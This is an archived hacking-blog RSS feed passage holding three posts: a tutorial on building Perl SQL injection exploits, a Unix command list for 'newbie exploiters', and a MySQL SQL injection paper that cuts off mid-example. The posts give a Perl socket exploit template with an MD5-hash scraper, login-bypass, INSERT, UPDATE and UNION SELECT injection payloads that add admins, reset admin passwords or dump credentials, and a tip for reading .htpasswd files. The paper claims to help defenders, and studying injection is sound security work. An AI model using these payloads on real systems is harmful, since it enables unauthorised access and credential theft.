		digg_bodytext = " Introduction Little panning of Perl language used into an internet context Perl SQL Injection by examples Gr33tz to &#8230;&#8212;+&#8212; StArT IntroductionPerl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lotof operation across the internet just writing a litlle bit of code. So...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>[1] Introduction<br />
[2] Little panning of Perl language used into an internet context<br />
[3] Perl SQL Injection by examples<br />
[4] Gr33tz to &#8230;</p>
<p><span id="more-62"></span></p>
<p>&#8212;+&#8212; StArT</p>
<p>[1] Introduction</p>
<p>Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot<br />
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an<br />
easiest life to everyone who decide to start writing a perl exploit.<br />
There are few requisites u need to proceed:<br />
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc&#8230;);<br />
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc&#8230;).</p>
<p>Now, we are ready to start&#8230;</p>
<p>[2] Little panning of Perl language used into an internet context</p>
<p>Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the<br />
server side (or other..). To make this u need to use some &#8220;Perl modules&#8221;.<br />
Those modules must be put on the head of the script. In this tut we are going to use only the &#8220;IO::Socket&#8221; module, but<br />
there are thousand and if u are curious just search on cpan to retrieve info on every module.</p>
<p>[-] Using the IO::Socket module<br />
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting<br />
of the script &#8220;use IO::Socket&#8221;. With this module u&#8217;ll be able to connect to every server defined previously, using<br />
a chomp, look at the example.</p>
<p>Example:<br />
print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this<br />
host. To do this, we must create a new sock that will be used by the interpreter to connect.<br />
To create this we are going to write something like this:</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new<br />
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp<br />
($host=www.fbi.gov).<br />
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").<br />
Resume:<br />
- Proto=&gt;TCP -------&gt; The protocol to use (TCP/UDP)<br />
- PeerAddr=&gt; -------&gt; The server/host to connect<br />
- PeerPort=&gt; -------&gt; Port to use for the connection</p>
<p>Ok, now let's go to the next step, which is the real hearth of this tut.</p>
<p>[3] Perl SQL Injection</p>
<p>Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.</p>
<p>The SQL code must be treaty like a normal variable (like &#8220;$injection&#8221;).</p>
<p>Example:<br />
$injection=index.php/forum?=[SQL_CODE]</p>
<p>This string means that we are going to inject the query into &#8220;index.php/forum&#8221; path, following the correct syntax that<br />
will bring us to cause a SQL Injection &#8220;?=&#8221;.</p>
<p>Now we must create a piece of code that will go to inject this query into the host vuln.</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;</p>
<p>This piece of code is the most important one into the building of an exploit.<br />
It can be considered the &#8220;validation&#8221; of the connection.<br />
In this case the &#8220;print&#8221; command doesn&#8217;t show anything on screen, but it creates a dialogue and sends commands to the host.</p>
<p>In the first line the script will send a &#8220;GET&#8221; to the selected page defined into &#8220;$injection&#8221;.<br />
In the third line it tells to the host &#8220;who/what&#8221; is making the request of &#8220;GET&#8221;. In this case this is Hacker, but it<br />
can be &#8220;Mozilla/5.0 Firefox/1.0.4&#8243; or other.<br />
In the fourth line it defines the host to connect to, &#8220;$host&#8221;.</p>
<p>With the execution of this script we have made our injection.</p>
<p>Resume of the exploit:</p>
<p>use IO::Socket</p>
<p>print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>$injection=index.php/forum?=[SQL_CODE]</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;<br />
close ($sock); #this line terminates the connection</p>
<p>A little trick:</p>
<p>Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.<br />
Additionally, u want that your script will show the PWD on your screen.<br />
Well, to make this, the next piece of code, could be one of the possible solutions.</p>
<p>while($answer = &lt;$sock&gt;) {<br />
if ($answer =~ /([0-9a-f]{32})/) {<br />
print &#8220;]+[ Found! The hash is: $1n&#8221;;<br />
exit(); }</p>
<p>This string means that if the answer of the host will show a &#8220;word&#8221; made by 32 characters (&#8220;0&#8243; to &#8220;9&#8243; and &#8220;a&#8221; to &#8220;f&#8221;),<br />
this word must be considered the MD5 Hash PWD and it must be showed on screen.</p>
<p>Conclusions:<br />
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.<br />
U could use also the module &#8220;LWP::Simple&#8221; in the place of &#8220;IO::Socket&#8221;, but u should change something into the code.<br />
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>basic linux commands</title>
		<link>http://www.hacking-gurus.net/2009/04/04/basic-linux-commands/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/basic-linux-commands/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:18:36 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[basic commands]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linux help]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shell commands]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=59</guid>
		<description><![CDATA[UNIX Commands UNIX Commands are usefull, because without them you will not be able to explore shells etc. I listed all commands that may be helpfull for newbie exploiters. pwd &#8211; shows actual path where you are ifconfig [interface] &#8211; show interface config e.g. ethernet , wlan etc ls &#8211; lists files in directorcy ls [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/basic-linux-commands/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "basic+linux+commands";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "UNIX CommandsUNIX Commands are usefull, because without them you will not be able to explore shells etc. I listed all commands that may be helpfull for newbie exploiters.pwd &#8211; shows actual path where you areifconfig  &#8211; show interface config e.g. ethernet , wlan etcls &#8211; lists files in directorcyls -l &#8211; lists files in directory...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>UNIX Commands</p>
<p>UNIX Commands are usefull, because without them you will not be able to explore shells etc. I listed all commands that may be helpfull for newbie exploiters.</p>
<p><span id="more-59"></span></p>
<p>pwd &#8211; shows actual path where you are</p>
<p>ifconfig [interface] &#8211; show interface config e.g. ethernet , wlan etc<br />
ls &#8211; lists files in directorcy</p>
<p>ls -l &#8211; lists files in directory with details like date, size, attributes</p>
<p>ls -a &#8211; lists files in directory and shows hidden files</p>
<p>For example you are actually in directory /www/docs/pub/ccbill/files so putting ls command will let you to see all files in this directory. If you want move to /www/docs/pub/ directory then you just need to put ls /www/docs/pub/ it will move you there and show all files there also.</p>
<p>cat [file name] &#8211; shows content of file</p>
<p>For example you want to check what is inside /www/docs/pub/ccbill/.htpasswd file so you simply put cat /www/docs/pub/ccbill/.htpasswd command and all info inside will be displayed</p>
<p>locate [file name] &#8211; will let you to locate file directly, when the files are found it will display paths</p>
<p>For example you want to find htpasswd file on server so simply put locate htpasswd and it will find all paths with this file for you.</p>
<p>rm [file name] &#8211; removes a file, you can also add -i to make a confirmation for deleting</p>
<p>cp [file name 1] [file name 2] &#8211; copies a file</p>
<p>mv [file name 1] [file name] &#8211; moves a file</p>
<p>mkdir [dir name] &#8211; makes a new directory</p>
<p>i will post more soon and will explain commands one by one in my next posts so keep looking for them <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/basic-linux-commands/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>MySQL: Secure Web Apps &#8211; SQL Injection techniques</title>
		<link>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/</link>
		<comments>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 21:14:39 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injections]]></category>
		<category><![CDATA[user]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web app]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=55</guid>
		<description><![CDATA[-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Introduction Injecting SQL Exploiting a Login Form Exploiting Different SQL Statement Type Basic Victim Fingerprinting Standard Blind SQL Injection Double Query Filters Evasion SQL Injection Prevention Conclusion &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;[  Introduction ] Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning Web Application Security. The aim of [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "MySQL%3A+Secure+Web+Apps+%26%238211%3B+SQL+Injection+techniques";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "-&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;IntroductionInjecting SQLExploiting a Login FormExploiting Different SQL Statement TypeBasic Victim FingerprintingStandard Blind SQL InjectionDouble QueryFilters EvasionSQL Injection PreventionConclusion&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Hi...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Introduction<br />
Injecting SQL<br />
Exploiting a Login Form<br />
Exploiting Different SQL Statement Type<br />
Basic Victim Fingerprinting<br />
Standard Blind SQL Injection<br />
Double Query<br />
Filters Evasion<br />
SQL Injection Prevention<br />
Conclusion<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><span id="more-55"></span></p>
<p>&#8212;[  Introduction ]</p>
<p>Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning<br />
Web Application Security. The aim of these lines are to help you to understand security<br />
flaws regarding SQL Injection.</p>
<p>I know that maybe lots of things here explained are a little bit old; but lots of people<br />
asked to me by email how to find/to prevent SQL Injection flaws in their codes.</p>
<p>Yes, we could say that this is the second part of my first paper regarding PHP flaws<br />
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection<br />
(The reason? The focus was on an other principal theme).</p>
<p>How I wrote this paper? In my free time, a couple of lines to help people to find, prevent<br />
this kind of attacks. I hope you enjoy it. For any question or whatever please<br />
contact me here: omni_0 [at] yahoo [DOT] com .<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Injecting SQL ]</p>
<p>As you know almost every dynamic web applications use a database (here we talk<br />
about web application based on &#8220;LAMP architecture&#8221;) to store any kind of data needed<br />
by the application such as images path, texts, user accounts, personal information,<br />
goods in stock, etc.</p>
<p>The web application access to those information by using the SQL (Structured Query<br />
Language). This kind of applications construct one or more SQL Statement to query<br />
the DataBase (and for example to retrieve data); but this query sometimes incorporporate<br />
user-supplied data. (take in mind this)</p>
<p>What about SQL? SQL is a DML (Data Manipulation Language) that is used<br />
to insert, retrive and modify records present in the DataBase.</p>
<p>As I said before web application uses user-supplied data to query the DB but if the<br />
supplied data is not properly sanitized before being used this can be unsafe and<br />
an attacker can INJECT HIS OWN SQL code.<br />
These flaws can be very destructive because an attacker can:</p>
<p>- Inject his data<br />
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)<br />
- and so on..</p>
<p>The fundamentals of SQL Injection are similar to lots of DBMS but, as you know<br />
there are some differences, in this paper I will cover &#8220;Exploting SQL Injection<br />
in MySQL DBMS&#8221; as said upon (this means that if you want to test techniques here<br />
explained on others DBMS you need to try at your own).<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Exploiting a Login Form ]</p>
<p>Sometimes happends that coders doesn&#8217;t properly sanitize 2 important variables<br />
such as user-name and password in the login form and this involve a critical<br />
vulnerability that will allow to the attacker the access to a reserved area.</p>
<p>Let&#8217;s make an example query here below:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; and password = &#8216;secret&#8217;</p>
<p>With this query the admin supply the username &#8216;admin&#8217; and the password &#8216;secret&#8217;<br />
if those are true, the admin will login into the application.<br />
Let us suppose that the script is vulnerabile to sql injection; what happends<br />
if we know the admin username (in this case &#8216;admin&#8217;)? We don&#8217;t know the password, but<br />
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.<br />
In this way:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; /*&#8217; and password = &#8216;foobar&#8217;</p>
<p>So, we supplied this information:</p>
<p>- As username = admin&#8217; /*<br />
- As password = foobar (what we want..)</p>
<p>Yes, the query will be true because admin is the right username but then with the<br />
&#8216; /* &#8216; symbol we commented the left SQL Statement.</p>
<p>Here below a funny (but true) example:</p>
<p>$sql = &#8220;SELECT permissions, username FROM $prefix&#8221;.&#8221;auth WHERE<br />
username = &#8216;&#8221; . $_POST['username'] . &#8220;&#8216; AND password = MD5(&#8216;&#8221;.$_POST['wordpass'].&#8221;&#8216;);&#8221;;</p>
<p>$query = mysql_query($sql, $conn);</p>
<p>The variables passed with the POST method are not properly sanitized before being used<br />
and an attacker can inject sql code to gain access to the application.<br />
This is a simple attack but it has a very critical impact.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Exploiting Different SQL Statement Type ]</p>
<p>SQL Language uses different type of statements that could help the programmer to<br />
make different queries to the DataBase; for example a SELECTion of record,<br />
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can<br />
&#8220;hack the query&#8221; in multiple ways; here below some examples.</p>
<p>SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SELECT Statement is used to retrieve information from the database; and is<br />
frequentely used &#8220;in every&#8221; application that returns information in response<br />
to a user query. For example SELECT is used for login forms, browsing catalog, viewing<br />
users infos, user profiles, in search engines, etc. The &#8220;point of failure&#8221; is<br />
often the WHERE clause where exactly the users put their supplied arguments.</p>
<p>But sometimes happends that the &#8220;point of failure&#8221; is in the FROM clause; this<br />
happends very rarely.</p>
<p>INSERT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>INSERT statement is used to add new row in the table; and sometimes the application<br />
doesn&#8217;t properly sanitize the data, so a query like the beneath could be vulnerable:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8216;new&#8217;, &#8216;pwd&#8217;, 10)</p>
<p>What happends if the pwd or username are not safe? We can absolutely &#8220;hack the<br />
query&#8221; and perform a new interesting query as shown below:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8216;hacker&#8217;, &#8216;test&#8217;, 1)/*&#8217;, 3)</p>
<p>In this example the pwd field is unsafe and is used to create a new user with<br />
the admin privilege (privilege = 1):</p>
<p>$SQL= &#8220;INSERT INTO usr (user, pwd, id) VALUES (&#8216;new&#8217;, &#8216;&#8221;.$_GET['p'].&#8221;&#8216;, 3)&#8221;;</p>
<p>$result = mysql_query($SQL);</p>
<p>UPDATE Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>UPDATE statement is used (as the word says) to UPDATE one or more records.<br />
This type of statement is used when users (logged into the application) need<br />
to change their own profile information; such as password, the billing address,<br />
etc. An example of how the UPDATE statement works is shown below:</p>
<p>UPDATE usr SET pwd=&#8217;newpwd&#8217; WHERE user = &#8216;billyJoe&#8217; and password = &#8216;Billy&#8217;</p>
<p>The field pwd in the update_profile.php form is absolutely &#8220;a user-supply data&#8221;; so,<br />
try to imagine what happends if the code is like the (vulnerable) code pasted below:</p>
<p>$SQL = &#8220;UPDATE usr SET pwd=&#8217;&#8221;.$_GET['np'].&#8221;&#8216; WHERE user = &#8216;billyJoe&#8217; and pwd = &#8216;Billy&#8217;&#8221;;<br />
$result = mysql_query($SQL);</p>
<p>In this query the password needs to be correct (so, the user needs to know his own password <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )<br />
and the password will be supplied with the GET method; but leave out this detail (it&#8217;s not so important<br />
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that<br />
is not sanitized); what happeds if we will inject our code here? Let see below:</p>
<p>UPDATE usr SET pwd=&#8217;owned&#8217; WHERE user=&#8217;admin&#8217;/*&#8217; WHERE user = &#8216;ad&#8217; and pwd = &#8216;se&#8217;</p>
<p>here we just changed the admin password to &#8216; owned &#8216; <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  sounds interesting right?</p>
<p>UNION SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>The &#8220;UNION SELECT Statement&#8221; is used in SQL to combine the results of 2<br />
or more different SELECT query; obviously in one result.<br />
This kind of statement is very interesting because when you have a SELECT query<br />
often you can add your own UNION SELECT statement to combine the queries (sure,<br />
only if you have a &#8220;bugged sql statement&#8221;) and view the 2 (or more) results in only<br />
one result set. To better understand what I mean I think is better to see an interesting<br />
example and put our hands on it.</p>
<p>Here is our vulnerable code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'];</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8216;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>// Our query is TRUE<br />
if ($result) {<br />
echo &#8216;&lt;br&gt;&lt;br&gt;WELCOME TO www.victim.net NEWS&lt;br&gt;&#8217;;<br />
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {</p>
<p>echo &#8216;&lt;br&gt;Title:&#8217;.$row[1].&#8217;&lt;br&gt;&#8217;;<br />
echo &#8216;&lt;br&gt;News:&lt;br&gt;&#8217;.$row[2];<br />
}</p>
<p>}</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As we can see the $SQL variable is vulnerable and an attacker can inject his own<br />
code into it and then gain interesting information. What happends if via browser we<br />
call this URL: http://www.victim.net/CMS/view.php?id=1 ?</p>
<p>Nothing interesting, just our news with the ID equal to 1, here below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>How to make this interesting? <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  We can use our UNION SELECT operator, and the<br />
resultant query will be:</p>
<p>select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1</p>
<p>What is gonna happend? Look below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:secret</p>
<p>News:<br />
1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&#8220;Title: secret&#8221; is the admin password (ID = 1 is the admin in most cases) and the 1 in the &#8220;News:&#8221;<br />
is the admin ID. So, why our output is so strange? This is not strange our tables has been made<br />
in different ways. Just to make things clear look the tables below:</p>
<p>mysql&gt; select * from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| user   | pwd    | id    |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| admin | secret |    1 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| ad     | aaaaa  |    2 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| new   | test    |    5 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select * from news;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | title                | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 | testing news    | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    2 | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Our UNION SELECT query will be:</p>
<p>mysql&gt; select * from news where id = 1 union select * from usr where id = 1;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id      | title              | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1       | testing news | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| admin | secret          | 1                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Is now clear? We have found the admin password. It&#8217;s great!</p>
<p>Ok, lets go deeper; what happends if we have 2 tables with a different number of<br />
columns? Unfortunaltely UNION SELECT doesn&#8217;t work as show upon. I want to make<br />
2 different examples to help you.</p>
<p>LESS FIELDS<br />
&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| title               | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| testing news 2 | could be bypassed easily?      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews union select * from usr;<br />
ERROR 1222 (21000): The used SELECT statements have a different number of columns</p>
<p>Yes, this is what happends if the UNION SELECT is used and the tables have a different<br />
number of columns. So, what we can do to bypass this?</p>
<p>mysql&gt; select * from Anews union select id, CONCAT_WS(&#8216; &#8211; &#8216;, user, pwd) from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| title          | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   | admin &#8211; secret                |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 2                  | ad &#8211; aaaaa                      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5                 | new &#8211; test                       |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>We bypassed &#8220;the problem&#8221; just using a MySQL function CONCAT_WS (CONCAT can be used too).<br />
Take in mind that different DBMS works in different way. I&#8217;m explaining in a general manner; therefore<br />
sometimes you have to find other ways. <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>MORE FIELDS<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select * from fnews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id   | pri   | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|    1 |    0 | testing news 2 | could be bypassed easily? |<br />
